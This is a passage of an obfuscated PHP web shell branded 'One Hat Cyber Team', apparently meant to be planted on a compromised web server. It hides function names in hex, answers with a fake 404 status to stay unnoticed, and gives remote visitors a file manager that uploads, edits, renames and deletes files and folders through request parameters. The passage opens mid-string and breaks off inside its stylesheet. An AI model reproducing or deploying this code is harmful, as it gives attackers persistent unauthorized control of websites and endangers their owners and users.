"\42\40\x63\154\x61\x73\x73\75\42\x64\x65\154\145\x74\145\42\40\x64\x61\164\141\x2d\x74\171\x70\x65\75\42\146\151\154\145\42\40\x64\x61\164\x61\55\164\x6f\147\x67\154\x65\x3d\x22\164\157\157\x6c\164\151\x70\42\40\x64\x61\164\x61\x2d\x70\x6c\141\x63\145\x6d\145\x6e\164\x3d\x22\x61\165\164\157\42\x20\x74\x69\164\x6c\x65\75\42\x44\145\154\145\x74\145\x22\76\x44\145\154\145\x74\145\74\x2f\141\76\74\x2f\x74\x64\x3e\15\xa\x3c\57\x74\x72\76"; goto v2noY; glGuu: goto F6uUG; goto bcKKF; v9Eba: $kL = round($kL, 3); goto D3Ydb; ruO3g: if (!$c8[7]("{$Jd}\57{$F1}")) { goto ujbhv; } goto FaOlZ; nnWwd: WFhx4: goto RoXaA; cb8nr: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; goto v9Eba; FaOlZ: goto TomPa; goto JOFka; RoXaA: } goto KQMnt; OPLx1: WBrRw: goto Pou2M; KH9aY: function rn($F1) { goto Ejvon; zVqOc: n1F3e: goto EdX4F; l2o3k: HQRNE: goto L0VkZ; A3WMM: if (!(($Jd & 0x6000) == 0x6000)) { goto n1F3e; } goto Bqxqf; oofvc: goto Qxl4a; goto OqJkb; bFELY: pUF7c: goto Ad9mp; oqOEA: JthAK: goto DNxB7; XpXso: $lE = "\x6c"; goto GC653; szoa_: BDLif: goto hiN2A; UVoP8: goto Qxl4a; goto bFELY; aQqQF: cLJz2: goto uxsoy; nKEdw: if (!(($Jd & 0x2000) == 0x2000)) { goto JthAK; } goto l48bI; Ejvon: $Jd = fileperms($F1); goto T8j0w; huuz4: goto Qxl4a; goto sSQX4; kLO5U: goto Qxl4a; goto KOXs1; rGNN8: if (!(($Jd & 0xa000) == 0xa000)) { goto Tt_g_; } goto UWWll; Gyg5Y: $lE .= $Jd & 0x4 ? "\x72" : "\55"; goto wr2W5; kKDNR: return $lE; goto U5w5P; wr2W5: $lE .= $Jd & 0x2 ? "\x77" : "\55"; goto AQ5h1; GYiif: Tt_g_: goto cqeNy; tISrq: $lE .= $Jd & 0x20 ? "\x72" : "\x2d"; goto Wh334; a0iTu: goto pUF7c; goto jphQA; L0VkZ: $lE = "\55"; goto hjz5U; AQ5h1: $lE .= $Jd & 0x1 ? $Jd & 0x200 ? "\x74" : "\x78" : ($Jd & 0x200 ? "\124" : "\x2d"); goto kKDNR; OqJkb: wUPiF: goto XwcR2; uxsoy: $lE = "\142"; goto UVoP8; a1QMB: $lE .= $Jd & 0x8 ? $Jd & 0x400 ? "\x73" : "\x78" : ($Jd & 0x400 ? "\123" : "\x2d"); goto Gyg5Y; ZjeVr: goto HQRNE; goto PR2BP; XwcR2: $lE = "\160"; goto yFMrk; kSaVg: goto Qxl4a; goto szoa_; Wh334: $lE .= $Jd & 0x10 ? "\x77" : "\55"; goto a1QMB; Bqxqf: goto cLJz2; goto zVqOc; lW0lD: NZDZ0: goto otWx5; cqeNy: if (!(($Jd & 0x8000) == 0x8000)) { goto zIUdf; } goto ZjeVr; jphQA: SoToc: goto nKEdw; KOXs1: tPwHT: goto YHcDD; PR2BP: zIUdf: goto A3WMM; otWx5: $lE = "\x75"; goto kLO5U; EdX4F: if (!(($Jd & 0x4000) == 0x4000)) { goto SoToc; } goto a0iTu; BMObp: $lE .= $Jd & 0x80 ? "\167" : "\55"; goto uN3A5; l48bI: goto BDLif; goto oqOEA; wEWqy: DSca2: goto rGNN8; DNxB7: if (!(($Jd & 0x1000) == 0x1000)) { goto NZDZ0; } goto ilQKi; uN3A5: $lE .= $Jd & 0x40 ? $Jd & 0x800 ? "\x73" : "\170" : ($Jd & 0x800 ? "\123" : "\55"); goto tISrq; UWWll: goto OTKPa; goto GYiif; N1Dtg: $lE .= $Jd & 0x100 ? "\162" : "\x2d"; goto BMObp; T8j0w: if (!(($Jd & 0xc000) == 0xc000)) { goto DSca2; } goto XuXN8; XuXN8: goto tPwHT; goto wEWqy; hjz5U: goto Qxl4a; goto aQqQF; ilQKi: goto wUPiF; goto lW0lD; sSQX4: OTKPa: goto XpXso; hiN2A: $lE = "\143"; goto oofvc; Ad9mp: $lE = "\144"; goto kSaVg; YHcDD: $lE = "\163"; goto huuz4; yFMrk: Qxl4a: goto N1Dtg; GC653: goto Qxl4a; goto l2o3k; U5w5P: } goto P25a0; gbyid: $currentDir = getcwd(); goto JkfzH; yzR0z: echo "\74\x68\65\40\143\x6c\x61\163\x73\75\42\x70\55\x31\40\162\x61\151\x6e\x62\x6f\x77\x2d\x62\x6f\162\144\x65\x72\x22\40\163\164\x79\154\145\75\42\164\145\170\x74\55\x61\154\x69\147\156\72\40\x63\145\156\x74\x65\162\x3b\x22\76\105\144\x69\164\40\x4e\141\155\141\x20\106\x69\154\145\72\40\74\146\157\x6e\164\40\143\x6f\154\x6f\162\x3d\42\x77\150\x69\x74\145\x22\76"; goto CmQdn; GAJ_p: goto WuWzI; goto V60JP; lAGVG: lVpvL: goto MhAYt; Y6O3j: YepRA: goto gQPY8; hgzvg: Xe("\107\141\147\x61\x6c\x20\155\145\x6e\x67\165\142\x61\150\x20\x69\x7a\x69\156", 0); goto Nc198; UYCID: error_reporting(0); goto M5v3C; l8csR: cHfGd: goto ANEwH; pUQui: echo "\74\57\x73\x70\x61\x6e\x3e\74\57\154\x69\76\xd\12\74\154\151\76\x53\145\x72\x76\x65\162\40\72\40\74\163\x70\141\x6e\40\x73\164\171\x6c\145\75\x22\143\157\x6c\x6f\162\72\40\167\150\151\x74\145\x3b\42\76"; goto CgOkh; raqMq: if (!isset($_POST["\x63\162\x65\141\x74\145\137\146\x6f\x6c\x64\145\162"])) { goto nRhJi; } goto f5aRU; ks9gk: echo jD($_GET["\x6e"]); goto uiNll; cU25L: $G3 = $c8[5]($G3($Jd), ["\x2e", "\x2e\56"]); goto QUero; a5Rw_: GRYEX: goto h0yNe; tqIqH: Xe("\x66\x61\151\x6c\x65\x64\x20\164\157\40\x64\x65\x6c\x65\164\145\40\164\150\145\40\146\157\x6c\x64\145\x72", 0); goto qWFN0; ZB075: goto hodfB; goto e7SSd; l6lHy: $folderPath = "{$currentDir}\57{$folderName}"; goto DmZNj; klVg8: echo "\x3c\x74\x61\142\x6c\x65\x20\143\x6c\x61\163\163\x3d\x22\164\x61\x62\154\x65\40\x74\x61\x62\x6c\145\55\x68\157\x76\x65\x72\40\164\x61\142\154\145\x2d\142\157\x72\x64\145\x72\x6c\x65\x73\x73\40\x74\x61\x62\x6c\x65\55\x73\155\x22\x20\163\x74\x79\154\145\75\x22\164\x65\x78\x74\x2d\x61\154\151\147\156\x3a\x20\143\145\x6e\164\145\x72\73\167\151\144\164\x68\72\x20\x31\x30\x30\45\73\x22\x3e\xd\xa\74\164\x68\145\x61\x64\x20\x63\154\x61\163\163\x3d\42\164\145\170\x74\x2d\154\x69\147\150\164\42\76\15\xa\x3c\164\x72\76\xd\12\74\164\150\x20\x73\x74\x79\x6c\145\x3d\42\x77\x69\144\x74\150\72\40\64\65\45\73\x22\76\116\x61\155\x65\x3c\x2f\x74\x68\x3e\xd\xa\74\164\150\x20\163\x74\171\154\145\75\x22\x77\x69\x64\164\x68\x3a\x20\61\x33\45\x3b\42\x3e\123\x69\172\x65\74\x2f\164\x68\76\xd\xa\74\x74\150\40\163\x74\171\154\145\x3d\x22\167\x69\x64\x74\150\72\40\61\63\x25\73\x22\76\x50\x65\162\155\151\163\x73\x69\x6f\156\74\57\x74\x68\76\xd\12\x3c\164\150\x20\x63\157\x6c\163\160\x61\x6e\x3d\x22\63\x22\x3e\x41\143\x74\x69\157\156\74\x2f\x74\x68\x3e\15\12\74\x2f\x74\162\76\15\xa\74\57\164\150\x65\x61\x64\76\xd\12\x3c\x74\x62\157\144\x79\x20\143\154\x61\163\x73\x3d\42\164\x65\x78\164\x2d\154\x69\147\150\164\x22\x3e\x20"; goto cU25L; epYd3: $newName = $_POST["\x6e\145\x77\x5f\146\x69\154\145\137\156\141\155\x65"]; goto f7MJK; iOZrz: $fileName = $_POST["\146\151\x6c\x65\137\156\141\x6d\145"]; goto lBivr; xc4pX: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto aTsk5; iJrKt: goto llzId; goto PBWDG; z47JB: goto WuWzI; goto S2fjQ; Pou2M: XR5kC: goto hky0H; qZkE2: $G3 = "\x73\x63\141\156\x64\151\162"; goto VYu6Z; V4aUK: nhGdW: goto xc4pX; e7SSd: dT1Z5: goto qMY7j; I4Mr8: YmvX_: goto IP9JK; ZZiIv: if (!($index < $totalFiles)) { goto seOwc; } goto GIuA3; yexD7: seOwc: goto gjAvo; TR99t: $uploadedFiles = $_FILES["\146"]["\x6e\x61\155\145"]; goto CzeEQ; Lm_zM: l07qe: goto ImbKT; dJDOB: hodfB: goto X4MLJ; M5v3C: set_time_limit(0); goto ppUof; y8gBw: function Ss($SP) { goto VFIvz; UxKJ8: vxoby: goto x5OgC; YNm8N: XGek7: goto Q9fln; n9px0: ltYIR: goto BZWFo; aBxNw: goto h3xPx; goto YNm8N; zSA_R: $lE = 0; goto UxKJ8; Fyu82: return $dE; goto KN0eH; Acvg3: h3xPx: goto Fyu82; VFIvz: $dE = ''; goto zSA_R; tVInM: goto vxoby; goto Acvg3; BZWFo: $lE++; goto tVInM; Q9fln: $dE .= dechex(ord($SP[$lE])); goto n9px0; x5OgC: if ($lE < strlen($SP)) { goto XGek7; } goto aBxNw; KN0eH: } goto fRdU4; sZ6bB: echo "\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x70\x2d\x31\x20\162\141\151\156\x62\x6f\x77\55\x62\157\x72\144\145\x72\42\x20\163\164\x79\154\x65\75\x22\x74\x65\170\x74\x2d\141\x6c\x69\x67\156\72\40\x63\x65\x6e\164\x65\x72\x3b\42\x3e\x4e\141\155\x61\x20\x46\151\x6c\x65\40\102\x61\x72\165\x20\72\x3c\x2f\150\x35\x3e\15\xa\74\146\x6f\162\155\x20\x6d\x65\164\150\157\144\x3d\x22\x70\x6f\163\164\x22\x3e\15\xa\x20\x20\x20\40\x3c\x64\x69\166\x20\x63\x6c\141\163\163\x3d\x22\146\157\162\x6d\55\147\162\157\165\160\42\x3e\xd\xa\x20\40\40\40\40\40\x20\40\x3c\x69\156\x70\165\164\x20\164\x79\160\145\75\42\x74\145\170\x74\x22\x20\x6e\141\x6d\x65\x3d\x22\146\x69\154\145\x5f\156\x61\x6d\x65\42\x20\151\144\x3d\x22\146\151\x6c\x65\x5f\156\x61\155\x65\x22\x20\x63\x6c\x61\x73\x73\75\x22\x62\x6f\x72\x64\x65\x72\x20\160\55\x31\42\40\x73\164\171\x6c\x65\75\42\164\x65\x78\x74\55\x61\154\x69\x67\156\x3a\x20\143\145\156\x74\x65\x72\73\x22\76\xd\12\x20\40\x20\x20\74\57\144\151\166\76\xd\xa\40\40\40\x20\74\144\x69\166\40\x63\154\x61\163\163\x3d\42\x66\x6f\162\x6d\55\147\162\157\x75\160\42\x3e\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\x65\170\x74\x61\x72\x65\x61\x20\163\x74\x79\x6c\x65\75\42\x72\145\163\151\172\145\72\156\157\x6e\x65\x22\40\156\141\155\145\75\x22\x66\151\154\145\137\143\x6f\x6e\164\x65\x6e\164\x22\40\151\144\x3d\x22\146\x69\x6c\x65\137\143\157\x6e\x74\145\x6e\x74\x22\x20\x63\x6f\x6c\163\75\42\63\60\42\x20\x72\x6f\x77\x73\75\42\x31\60\42\40\x63\x6c\141\x73\163\75\x22\146\x6f\162\155\x2d\x63\157\x6e\164\x72\x6f\154\x20\x72\x61\x69\x6e\142\157\x77\55\142\x6f\162\x64\145\162\x22\x3e\74\x2f\164\145\x78\x74\x61\162\x65\141\x3e\15\xa\40\x20\x20\40\74\57\x64\x69\x76\76\xd\xa\x20\40\40\x20\x3c\144\151\166\40\143\x6c\141\x73\163\x3d\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\42\40\163\164\x79\x6c\x65\x3d\x22\155\141\x72\x67\151\x6e\55\164\157\160\x3a\40\61\60\160\x78\x3b\42\x3e\15\12\40\40\40\x20\40\40\x20\40\x3c\x62\165\164\164\x6f\x6e\40\164\171\x70\145\x3d\42\x73\x75\x62\155\x69\164\x22\40\x6e\x61\x6d\x65\75\x22\x63\x72\x65\141\x74\145\137\146\151\x6c\x65\42\40\143\154\x61\163\163\75\x22\157\150\x63\164\x22\x3e\x43\162\145\x61\x74\145\74\x2f\x62\165\x74\x74\157\156\76\xd\xa\x20\x20\x20\x20\74\x2f\144\x69\166\76\15\12\74\57\146\157\162\155\x3e\15\12\xd\12"; goto aRFgz; X4MLJ: goto Bym5W; goto lAGVG; JqxaL: if (mkdir($folderPath)) { goto dT1Z5; } goto BrZJD; g0l1M: SCm92: goto lygUa; ImbKT: xe("\x66\x6f\154\x64\x65\162\40\144\x65\154\145\164\145\144\x20\x73\165\x63\x63\x65\163\x73\x66\165\x6c\x6c\x79"); goto RgCVA; McJVv: echo "\15\12\x3c\x2f\x64\151\x76\x3e\xd\xa\74\x64\x69\166\40\x63\154\x61\163\x73\75\42\x74\x61\x62\154\x65\55\x72\x65\163\160\157\156\163\151\x76\145\x20\164\145\170\x74\55\154\151\147\150\164\40\162\141\x69\x6e\142\157\x77\55\x62\157\162\x64\x65\162\42\x20\x73\x74\171\x6c\145\75\x22\x74\145\x78\164\55\x61\154\x69\147\156\x3a\40\154\145\146\x74\73\x70\x61\x64\x64\151\156\147\72\x20\64\x70\170\x3b\x6d\141\x72\x67\151\x6e\55\x62\157\164\x74\x6f\155\x3a\40\x33\x70\170\x3b\155\x61\162\x67\x69\x6e\x2d\x74\157\160\72\40\63\160\170\x3b\x22\76\xd\12\74\x6c\x69\x3e\x44\151\x72\40\x3a\40\x3c\163\160\141\x6e\76"; goto eJzBg; UGZfs: Bym5W: goto gNdcw; IOs5m: goto JuQTj; goto b1Prt; xYynO: goto CiuOO; goto GrpvM; gjAvo: j8Ne4: goto McJVv; ned6r: if (isset($_GET["\x61"])) { goto DqkC1; } goto g4Bkd; ppUof: http_response_code(404); goto K0vFC; WY826: $fileName = basename(jD($_GET["\156"])); goto Uj6Nn; aTsk5: if (!($_GET["\x74"] == "\x64")) { goto GqE6o; } goto fFAU6; o5NaW: unlink($BL); goto dG_yF; P25a0: function Xe($OB, $Ch = 1, $BL = '') { goto lO7HY; lO7HY: global $Jd; goto Vijni; FfS6u: echo "\x3c\163\x63\162\x69\x70\x74\76\163\x77\141\x6c\50\x7b\x74\151\x74\x6c\145\x3a\40\x22{$xe}\x22\54\x20\164\x65\170\164\x3a\x20\42{$OB}\x22\54\40\151\143\x6f\156\x3a\x20\x22{$xe}\42\175\51\56\x74\150\x65\156\50\50\x62\164\x6e\103\x6c\x69\143\153\51\x20\75\x3e\40\173\151\146\x28\x62\x74\x6e\x43\x6c\x69\143\153\51\173\144\x6f\143\165\x6d\145\156\x74\x2e\x6c\x6f\143\x61\164\151\157\x6e\56\150\x72\145\146\x3d\x22\x3f\160\75" . Ss($Jd) . $BL . "\x22\175\x7d\51\74\x2f\x73\x63\162\151\160\x74\76"; goto JpMfM; Vijni: $xe = $Ch == 1 ? "\x73\165\143\x63\x65\163\x73" : "\145\162\x72\157\x72"; goto FfS6u; JpMfM: } goto nsWn8; VYu6Z: $c8 = ["\67\x30\66\70\67\60\65\146\x37\65\x36\x65\66\x31\66\x64\66\65", "\x37\x30\66\70\x37\60\x37\x36\x36\x35\67\62\x37\63\66\71\66\x66\x36\145", "\66\x37\x36\65\67\x34\x36\x33\x37\x37\66\x34", "\x36\63\x36\x38\x36\64\x36\71\67\x32", "\67\x30\x37\x32\x36\65\66\x37\65\146\x37\63\67\60\66\143\x36\x39\67\64", "\66\61\67\x32\67\62\66\61\67\x39\65\146\66\64\66\71\x36\x36\66\66", "\x36\x39\67\63\65\146\66\64\x36\71\x37\62", "\66\71\x37\63\65\146\x36\x36\66\71\66\143\x36\65", "\66\71\x37\x33\65\x66\67\x37\x37\x32\66\x39\x37\64\66\x31\66\62\66\143\x36\65", "\x36\71\x37\63\x35\x66\67\x32\x36\x35\66\x31\x36\x34\66\61\x36\62\x36\x63\66\65", "\x36\x36\x36\x39\x36\143\66\x35\67\63\66\x39\x37\141\x36\65", "\x36\63\66\x66\x37\x30\x37\71", "\x36\x36\66\x39\66\x63\66\x35\x35\146\x36\65\x37\x38\66\x39\67\63\67\x34\x37\63", "\x36\66\x36\71\66\x63\x36\x35\65\x66\x37\x30\67\x35\x37\x34\65\x66\66\63\66\146\66\145\x37\x34\66\65\66\145\x37\x34\67\63", "\66\66\66\x39\66\x63\x36\65\x35\146\x36\x37\x36\65\x37\64\65\x66\66\x33\66\x66\x36\x65\67\64\66\x35\x36\145\x37\x34\67\63", "\x36\x64\66\x62\66\64\66\71\x37\62", "\x37\x32\66\65\x36\145\66\x31\x36\144\66\x35", "\67\63\67\64\67\62\x37\64\x36\146\x37\x34\x36\71\66\144\x36\x35", "\x36\x38\x37\x34\66\144\66\x63\67\x33\x37\x30\66\x35\66\x33\x36\x39\x36\61\x36\x63\66\x33\66\x38\x36\x31\x37\62\67\x33", "\66\x34\66\x31\67\64\x36\65", "\66\66\66\71\66\143\x36\x35\x36\144\67\x34\x36\71\66\x64\x36\65"]; goto HhbxK; XbO1F: jpk0X: goto ui5BY; ui5BY: $index++; goto s1u_6; fJZSg: auqgv: goto m_WJB; yNbhO: $oldPath = "{$currentDir}\x2f" . jD($_GET["\x6e"]); goto W_YUR; xa4PM: goto SCm92; goto WsTPz; eucg0: xE("\x4e\x61\x6d\x61\40\146\151\154\145\40\164\x65\154\x61\x68\x20\144\x69\147\x75\156\x61\153\141\156", 0, "\x26\x61\75" . SS("\x6e\x65\167\x46\x69\x6c\145")); goto ThB_8; CKeJG: echo "\40\15\xa\74\41\104\117\x43\124\x59\x50\x45\40\150\164\x6d\x6c\x3e\xd\12\x3c\x68\x74\155\154\40\x6c\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\xa\74\150\x65\x61\x64\76\15\12\x20\x20\40\40\74\x6d\x65\x74\141\x20\160\x72\157\x70\145\x72\164\x79\75\42\x6f\x67\x3a\151\x6d\141\x67\x65\42\x20\143\x6f\156\164\x65\x6e\164\75\x22\57\57\x69\56\x69\155\147\165\162\x2e\143\157\x6d\x2f\x72\x72\x6f\124\120\x42\113\x2e\152\x70\x65\147\42\76\xd\xa\40\40\x20\x20\74\x6d\145\164\x61\40\160\x72\x6f\160\145\x72\x74\x79\x3d\x22\x6f\147\72\x74\x69\164\x6c\145\x22\40\143\x6f\156\x74\x65\x6e\164\75\x22\117\x6e\145\40\x48\141\164\x20\103\x79\x62\x65\x72\40\124\145\141\x6d\42\x3e\xd\12\x20\x20\40\40\74\155\145\164\x61\x20\x70\x72\x6f\x70\145\x72\164\171\x3d\42\157\147\x3a\x64\x65\x73\x63\162\151\160\x74\x69\x6f\156\x22\x20\143\x6f\156\164\145\x6e\x74\x3d\x22\102\171\x20\115\162\56\x43\x6f\x6d\142\145\x74\42\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\x74\x61\x20\156\x61\155\145\x3d\x22\164\x68\x65\x6d\145\55\x63\x6f\154\x6f\x72\42\40\x63\157\156\164\145\x6e\x74\x3d\x22\43\x30\x30\142\x66\146\146\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\x65\x74\141\40\x6e\141\155\x65\75\42\x76\x69\x65\x77\160\x6f\x72\164\x22\x20\x63\x6f\x6e\164\145\x6e\x74\75\x22\x77\x69\x64\164\150\x3d\144\x65\166\x69\143\x65\x2d\x77\151\x64\164\150\54\40\151\x6e\151\x74\151\x61\x6c\55\x73\143\x61\x6c\x65\x3d\x30\56\x36\x30\54\40\163\150\x72\151\156\x6b\55\164\157\x2d\x66\x69\x74\75\156\157\42\76\15\12\40\x20\40\x20\74\x74\x69\164\154\145\76\117\156\145\x20\110\x61\164\40\x43\171\142\x65\x72\40\124\x65\x61\155\x3c\57\x74\151\164\x6c\145\76\15\12\40\x20\x20\x20\x3c\154\x69\156\x6b\40\162\x65\x6c\x3d\42\x73\164\171\x6c\x65\163\x68\x65\145\x74\x22\x20\x68\162\x65\x66\x3d\42\x2f\x2f\x63\x64\156\56\x6a\x73\144\145\x6c\151\166\162\56\x6e\x65\164\57\x6e\160\x6d\x2f\x62\157\x6f\164\x73\164\x72\x61\x70\x40\64\56\66\x2e\60\x2f\x64\151\163\164\x2f\x63\163\163\x2f\142\157\x6f\164\163\x74\x72\x61\x70\x2e\155\x69\x6e\56\143\163\163\x22\x3e\xd\xa\40\40\40\x20\x3c\x6c\x69\x6e\x6b\x20\x72\x65\154\75\42\163\164\171\x6c\x65\163\150\x65\145\x74\42\x20\150\x72\x65\146\x3d\42\57\57\x63\x64\156\152\x73\56\x63\x6c\157\x75\144\146\154\141\162\145\x2e\143\x6f\155\x2f\x61\x6a\x61\170\x2f\x6c\151\x62\163\x2f\x66\157\x6e\164\x2d\141\x77\145\x73\157\155\x65\57\x34\x2e\x37\56\x30\x2f\143\163\x73\57\x66\157\x6e\x74\x2d\x61\x77\145\163\157\155\x65\x2e\x6d\151\x6e\56\143\163\x73\x22\x3e\15\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\145\x6c\75\x22\151\x63\157\x6e\42\x20\150\x72\145\146\x3d\42\x2f\x2f\x69\56\x69\x6d\x67\165\x72\x2e\143\157\x6d\x2f\x72\162\x6f\x54\120\x42\113\56\152\x70\145\147\42\76\xd\xa\x20\40\x20\40\74\x73\x74\x79\154\x65\x20\x74\x79\160\x65\x3d\42\164\x65\170\x74\57\x63\163\163\x22\76\xd\xa\100\151\155\x70\x6f\162\x74\x20\x75\x72\x6c\x28\47\150\x74\164\160\x73\x3a\x2f\57\x66\x6f\x6e\x74\x73\56\x67\x6f\x6f\147\x6c\145\141\160\151\163\56\143\x6f\155\x2f\x63\x73\x73\62\x3f\146\141\x6d\151\x6c\171\x3d\101\155\x61\x72\x61\x6e\x74\x68\72\x69\164\x61\x6c\54\x77\147\x68\x74\x40\x30\54\x34\60\x30\73\x30\54\67\x30\60\x3b\x31\x2c\x34\60\60\73\61\54\x37\60\x30\46\x64\x69\x73\160\x6c\x61\171\75\x73\167\141\160\47\x29\x3b\15\xa\142\157\x64\x79\x20\x7b\xd\12\40\40\x20\x20\143\x6f\x6c\x6f\162\72\x20\x62\x6c\x61\x63\x6b\73\xd\xa\40\40\40\x20\x66\157\156\x74\x2d\x73\x69\172\x65\72\40\60\x70\170\x3b\15\12\x20\x20\x20\x20\x66\x6f\156\x74\55\x66\x61\x6d\x69\154\171\x3a\40\47\101\x6d\x61\x72\x61\156\x74\x68\47\73\15\xa\40\40\40\x20\x77\x69\x64\x74\150\72\40\71\x39\x25\x3b\xd\xa\40\40\40\x20\x70\141\144\x64\x69\x6e\147\x3a\40\x30\160\170\x3b\xd\12\40\40\x20\40\155\x61\162\x67\151\x6e\x2d\162\151\147\150\164\72\x20\x61\x75\164\157\73\xd\12\40\40\40\x20\x6d\x61\162\x67\x69\x6e\55\x6c\x65\146\164\x3a\40\141\165\x74\157\x3b\15\12\40\40\40\40\155\x61\x72\147\151\156\x2d\x74\157\x70\x3a\40\x37\x70\x78\x3b\xd\12\40\40\x20\x20\155\141\162\147\151\x6e\55\x62\x6f\x74\x74\157\155\72\40\67\160\x78\73\15\12\40\40\x20\40\142\x61\143\x6b\147\x72\157\x75\x6e\x64\x2d\x63\157\x6c\x6f\162\72\x20\x62\154\141\143\153\x21\x69\155\x70\157\x72\x74\141\x6e\x74\x3b\xd\xa\x7d\xd\12\xd\12\56\x62\147\x2d\x64\x61\x72\x6b\40\173\15\xa\x20\x20\x20\40\142\x61\x63\x6b\147\162\157\165\156\144\x2d\143\157\154\157\162\x3a\x20\142\x6c\141\143\x6b\41\151\155\x70\157\x72\x74\141\156\164\73\15\12\175\15\xa\15\12\56\142\157\162\144\145\x72\40\173\15\xa\40\x20\x20\40\142\157\170\x2d\163\150\x61\144\157\167\x3a\x20\x30\x70\x78\x20\60\x70\x78\40\x31\x30\x70\x78\40\x23\x30\60\142\146\146\x66\x3b\xd\12\40\40\x20\40\x62\x6f\162\x64\145\x72\x3a\40\62\160\x78\x20\163\x6f\154\151\x64\x20\43\60\60\x62\x66\146\146\41\x69\x6d\160\157\162\164\141\156\164\73\xd\xa\40\x20\40\40\142\157\162\144\145\x72\x2d\x72\141\144\151\x75\x73\x3a\x20\x35\160\x78\73\xd\12\40\x20\x20\x20\142\141\143\153\x67\162\x6f\x75\156\x64\x3a\40\164\x72\x61\x6e\163\160\141\162\145\x6e\x74\73\xd\12\x7d\xd\12\15\12\56\142\157\162\144\145\x72\x3a\x68\x6f\x76\145\x72\x20\x7b\15\12\40\40\40\40\x62\157\170\x2d\163\x68\141\x64\157\167\x3a\40\x30\160\x78\40\x30\160\x78\40\x31\60\160\170\40\x23\x30\60\x62\146\x66\x66\x3b\xd\12\40\40\40\x20\142\x6f\x72\x64\x65\x72\x3a\x20\62\x70\170\40\x73\157\x6c\x69\x64\x20\43\60\60\x62\x66\146\x66\x21\x69\x6d\160\157\162\164\141\156\x74\x3b\15\12\x7d\15\xa\xd\12\x2e\164\141\142\x6c\145\40\164\x64\x20\x7b\xd\12\40\40\40\x20\x70\141\x64\x64\151\156\x67\72\40\x30\56\x31\162\145\x6d\x3b\xd\xa\40\40\x20\x20\142\157\x78\55\x73\150\141\144\157\x77\x3a\40\151\156\163\145\164\40\60\x70\170\x20\60\160\170\x20\60\x70\x78\40\61\160\170\40\x23\60\x30\x62\146\146\146\73\xd\12\x20\40\40\x20\142\x6f\x72\144\145\x72\x2d\162\x61\144\151\165\163\x3a\40\62\160\170\x3b\15\xa\x7d\15\xa\xd\12\56\x74\x61\142\x6c\x65\x20\164\x68\145\x61\x64\40\x74\150\x20\173\15\xa\x20\40\x20\x20\146\x6f\x6e\164\55\146\x61\x6d\151\x6c\171\72\40\47\x41\x6d\x61\162\x61\156\164\x68\47\x2c\x20\x63\x75\x72\163\151\x76\145\73\xd\12\40\40\x20\40\x62\157\x78\x2d\x73\150\x61\144\157\167\x3a\40\151\x6e\x73\145\164\40\x30\x70\170\x20\x30\x70\170\40\60\160\170\40\61\56\x35\160\x78\x20\x23\x30\60\x62\146\x66\x66\73\15\xa\40\x20\40\40\143\157\154\x6f\x72\72\x20\43\60\60\x62\x66\x66\146\73\xd\xa\x20\x20\x20\40\x70\141\x64\x64\x69\x6e\x67\72\x20\x30\x2e\62\65\x72\x65\155\73\15\12\x20\x20\x20\40\142\x6f\x72\144\x65\162\x2d\162\x61\x64\x69\165\163\x3a\x20\x35\x70\x78\x3b\15\xa\x20\x20\x20\40\x62\x61\x63\x6b\x67\162\x6f\165\x6e\144\x3a\x20\x6c\151\x6e\145\x61\x72\55\x67\162\141\144\151\x65\x6e\x74\x28\x74\157\x20\142\157\x74\164\157\x6d\54\40\x62\x6c\141\143\x6b\54\x20\x23\x33\146\63\146\x33\146\70\x30\51\x3b\15\12\x7d\xd\12\xd\xa\x2e\x74\141\x62\x6c\x65\55\150\157\166\x65\x72\x20\164\x62\157\x64\171\x20\x74\162\72\x68\x6f\x76\145\x72\x20\164\144\x20\173\xd\xa\40\x20\x20\x20\142\141\143\153\147\x72\x6f\x75\156\144\x3a\40\43\x33\x66\63\x66\x33\146\70\60\73\15\xa\x20\40\x20\x20\142\x6f\x78\x2d\x73\x68\x61\x64\157\x77\x3a\x20\151\x6e\x73\x65\x74\x20\60\x70\170\40\x30\160\x78\40\60\x70\170\40\x31\x70\170\40\43\x30\x30\x62\x66\x66\146\x3b\15\12\40\x20\x20\40\142\157\162\144\145\162\55\x72\141\144\x69\165\163\x3a\x20\62\x70\x78\73\xd\12\x7d\15\12\xd\12\x2e\x74\x61\142\154\x65\55\150\x6f\166\x65\x72\x20\164\x62\157\x64\x79\40\x74\x72\x3a\x68\157\166\x65\162\x20\164\x64\76\x2a\40\x7b\15\xa\175\xd\12\15\12\x2e\x74\x61\x62\x6c\145\x3e\x74\x62\157\x64\x79\x3e\164\162\x3e\52\40\173\15\xa\40\40\x20\40\x63\157\x6c\x6f\162\72\x23\x66\x66\x66\x3b\15\xa\x20\x20\x20\40\166\145\162\164\x69\x63\141\x6c\55\141\x6c\x69\147\x6e\72\x6d\x69\144\x64\x6c\145\73\15\xa\175\xd\xa\15\xa\x2e\x66\x6f\x72\155\55\143\157\156\164\162\157\154\40\x7b\15\xa\40\x20\x20\40\x62\141\143\x6b\147\x72\157\165\x6e\x64\x3a\x30\40\60\x21\x69\155\x70\157\x72\164\141\156\164\x3b\15\12\40\40\40\x20\143\157\154\x6f\x72\72\x23\146\146\146\41\x69\155\x70\x6f\162\164\x61\x6e\x74\x3b\15\12\40\40\x20\x20\x62\157\162\x64\x65\162\x2d\x72\x61\144\x69\x75\x73\72\60\73\15\12\x7d\xd\12\xd\12\56\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\162\x6f\154\x3a\x3a\160\154\x61\x63\145\x68\157\x6c\x64\145\162\x20\173\15\xa\40\40\40\40\x63\157\x6c\x6f\x72\x3a\43\x66\146\146\73\15\xa\40\x20\40\x20\157\x70\141\143\x69\x74\171\72\x31\73\15\12\175\xd\12\15\xa\56\146\157\162\155\x2d\x67\x72\x6f\x75\x70\x20\173\15\xa\x20\40\x20\40\x6d\141\162\147\151\x6e\x2d\164\157\x70\x3a\40\56\63\x72\x65\x6d\x3b\xd\12\x20\40\40\40\155\141\x72\147\x69\156\x2d\142\x6f\164\164\x6f\x6d\x3a\x20\x2e\63\x72\x65\x6d\73\15\xa\x7d\15\xa\xd\xa\x6c\151\x20\173\xd\xa\40\40\x20\40\146\x6f\156\x74\x2